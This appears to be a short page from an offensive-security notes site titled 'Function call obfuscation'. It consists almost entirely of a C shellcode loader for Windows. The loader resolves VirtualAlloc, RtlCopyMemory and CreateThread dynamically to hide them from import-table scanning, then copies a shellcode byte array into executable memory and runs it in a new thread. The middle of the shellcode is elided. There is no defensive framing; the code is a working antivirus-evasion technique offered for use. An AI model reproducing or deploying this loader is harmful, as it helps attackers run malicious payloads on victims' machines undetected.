Function call obfuscation
Last updated
Last updated
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
void (WINAPI * pRtlCopyMemory)(void* Destination, const void* Source, size_t Length);
HANDLE (WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
void main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
...
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
pVirtualAlloc = (void* (*)(void*, SIZE_T, DWORD, DWORD))GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
pRtlCopyMemory = (void (WINAPI *)(void*, const void*, size_t))GetProcAddress(GetModuleHandle("NtDll.dll"), "RtlCopyMemory");
pCreateThread = (HANDLE (WINAPI *)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
PVOID shellcode_exec = pVirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pRtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = pCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}